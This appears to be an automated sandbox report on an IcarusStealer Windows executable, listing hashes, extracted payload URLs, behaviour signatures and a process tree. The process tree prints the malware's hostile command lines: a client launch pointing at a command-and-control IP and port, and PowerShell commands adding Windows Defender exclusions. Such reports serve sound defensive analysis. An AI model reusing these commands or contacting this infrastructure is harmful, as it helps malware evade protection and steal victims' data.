Overview

overview

10

Static

static

3

3ff0d50557...6f.exe

windows7-x64

10

3ff0d50557...6f.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/10/2024, 01:07

Sharing

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General

  • Target

    3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe

  • Size

    3.9MB

  • MD5

    65a683124fc4ca1839e95322370e2b0d

  • SHA1

    7a7eafcfa4349e40cb15ab30b5c64d3415e60b96

  • SHA256

    3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f

  • SHA512

    14b6d7d06f1bd02fffa5f0a4aecb8bbb7b1441597d9ac27a888f5ff441fce785809bd675c7ef7b1da7f99a8d61100e030b6c8b7b128515e8d713d4ffec54123f

  • SSDEEP

    49152:bP70hwGvLJT/a9yLe7lAsYaxBjbdOGMneGzxgUgoJUcaqCDx6ITcP2MNoSPhaC+O:nUgoJUBZJoP2MNBajvXOSq

Score
10/10
icarusstealerdiscoveryexecutionpersistencestealer

Malware Config

Extracted

Family

icarusstealer

Attributes
  • payload_url

    https://blackhatsec.org/add.jpg

    https://blackhatsec.org/remove.jpg

Signatures

  • IcarusStealer

    Icarus is a modular stealer written in C# First adverts in July 2022.

    stealericarusstealer
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 37 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe
    "C:\Users\Admin\AppData\Local\Temp\3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4548
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3040
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        3⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2008
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client 193.142.146.64 8880 vUiuCXqqM
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1928
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4024
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4128
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2168
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1352
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1880
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1796

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    968cb9309758126772781b83adb8a28f

    SHA1

    8da30e71accf186b2ba11da1797cf67f8f78b47c

    SHA256

    92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

    SHA512

    4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    16KB

    MD5

    084770dbc2c45f273de692f5ca3540f2

    SHA1

    ffbbce6111298e9bcc16132900e1ca95745e5093

    SHA256

    1cc6e2ca25925de84d03e5ead12e61bf01af85b791608952bc4b423ecd485f70

    SHA512

    6853a0ecc44d94a7f6253fb631671eb7b8d7e1fd86330f1564080553d00abde4d0ef6ea8b64b602a2a54ea726c0a2123f24fe8962092839668b1f2518afd1ee3

    Download Submit

  • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133726504512455804.txt
    Filesize

    75KB

    MD5

    d5a05ff53d29e95fadc1bc4b5254d98d

    SHA1

    bad3627875f68a22e64ea44537cd99be1234ad79

    SHA256

    4adce0ef9fa1622e5f3a346a2de87a8bd51325bddc16f814ce1a74dffbfc28c9

    SHA512

    977a9c26ab62e01f1daf176635e3f1bcae865478f2565f58f0e0c492467d002337ffb5ca59f83ef67793bd1ad98f12fc02e26342107b87ba03f4b7abbef407f6

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r4oytyko.jw5.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/1352-178-0x0000000006F30000-0x0000000006F4A000-memory.dmp

    Filesize

    104KB

    Download

  • memory/1352-164-0x0000000006BD0000-0x0000000006C02000-memory.dmp

    Filesize

    200KB

    Download

  • memory/1352-189-0x0000000006FB0000-0x0000000006FBA000-memory.dmp

    Filesize

    40KB

    Download

  • memory/1352-177-0x00000000075B0000-0x0000000007C2A000-memory.dmp

    Filesize

    6.5MB

    Download

  • memory/1352-22-0x00000000055C0000-0x0000000005914000-memory.dmp

    Filesize

    3.3MB

    Download

  • memory/1352-176-0x0000000006E80000-0x0000000006F23000-memory.dmp

    Filesize

    652KB

    Download

  • memory/1352-175-0x00000000061C0000-0x00000000061DE000-memory.dmp

    Filesize

    120KB

    Download

  • memory/1352-215-0x0000000007260000-0x000000000727A000-memory.dmp

    Filesize

    104KB

    Download

  • memory/1352-42-0x0000000005D60000-0x0000000005DAC000-memory.dmp

    Filesize

    304KB

    Download

  • memory/1352-41-0x0000000005BF0000-0x0000000005C0E000-memory.dmp

    Filesize

    120KB

    Download

  • memory/1352-17-0x0000000002680000-0x00000000026B6000-memory.dmp

    Filesize

    216KB

    Download

  • memory/1352-165-0x000000006FB80000-0x000000006FBCC000-memory.dmp

    Filesize

    304KB

    Download

  • memory/1352-19-0x0000000004B40000-0x0000000004B62000-memory.dmp

    Filesize

    136KB

    Download

  • memory/1352-216-0x0000000007250000-0x0000000007258000-memory.dmp

    Filesize

    32KB

    Download

  • memory/1796-73-0x000002195C660000-0x000002195C680000-memory.dmp

    Filesize

    128KB

    Download

  • memory/1796-52-0x000002195C090000-0x000002195C0B0000-memory.dmp

    Filesize

    128KB

    Download

  • memory/1796-62-0x000002195C050000-0x000002195C070000-memory.dmp

    Filesize

    128KB

    Download

  • memory/1796-47-0x000002195B140000-0x000002195B240000-memory.dmp

    Filesize

    1024KB

    Download

  • memory/1928-16-0x0000000005A20000-0x0000000005FC4000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/1928-14-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

    Download

  • memory/2008-46-0x0000000002850000-0x0000000002851000-memory.dmp

    Filesize

    4KB

    Download

  • memory/3040-13-0x0000000005380000-0x0000000005412000-memory.dmp

    Filesize

    584KB

    Download

  • memory/3040-8-0x0000000000520000-0x00000000005A2000-memory.dmp

    Filesize

    520KB

    Download

  • memory/3040-12-0x00000000052E0000-0x000000000537C000-memory.dmp

    Filesize

    624KB

    Download

  • memory/4128-190-0x0000000006FC0000-0x0000000007056000-memory.dmp

    Filesize

    600KB

    Download

  • memory/4128-18-0x0000000004B50000-0x0000000005178000-memory.dmp

    Filesize

    6.2MB

    Download

  • memory/4128-212-0x0000000006F90000-0x0000000006FA4000-memory.dmp

    Filesize

    80KB

    Download

  • memory/4128-20-0x00000000052C0000-0x0000000005326000-memory.dmp

    Filesize

    408KB

    Download

  • memory/4128-21-0x00000000053E0000-0x0000000005446000-memory.dmp

    Filesize

    408KB

    Download

  • memory/4128-179-0x000000006FB80000-0x000000006FBCC000-memory.dmp

    Filesize

    304KB

    Download

  • memory/4128-211-0x0000000006F80000-0x0000000006F8E000-memory.dmp

    Filesize

    56KB

    Download

  • memory/4128-191-0x0000000006F50000-0x0000000006F61000-memory.dmp

    Filesize

    68KB

    Download

  • memory/4548-11-0x0000000000400000-0x0000000000823000-memory.dmp

    Filesize

    4.1MB

    Download

  • memory/4548-45-0x0000000000420000-0x0000000000438000-memory.dmp

    Filesize

    96KB

    Download

  • memory/4548-6-0x0000000000400000-0x0000000000823000-memory.dmp

    Filesize

    4.1MB

    Download

  • memory/4548-3-0x0000000000400000-0x0000000000823000-memory.dmp

    Filesize

    4.1MB

    Download

  • memory/4548-0-0x0000000000400000-0x0000000000823000-memory.dmp

    Filesize

    4.1MB

    Download

  • memory/4548-9-0x0000000000400000-0x0000000000823000-memory.dmp

    Filesize

    4.1MB

    Download

  • memory/4548-7-0x0000000000400000-0x0000000000823000-memory.dmp

    Filesize

    4.1MB

    Download

  • memory/4548-4-0x0000000000400000-0x0000000000823000-memory.dmp

    Filesize

    4.1MB

    Download

  • memory/4548-1-0x0000000000400000-0x0000000000823000-memory.dmp

    Filesize

    4.1MB

    Download

  • memory/4548-2-0x0000000000420000-0x0000000000438000-memory.dmp

    Filesize

    96KB

    Download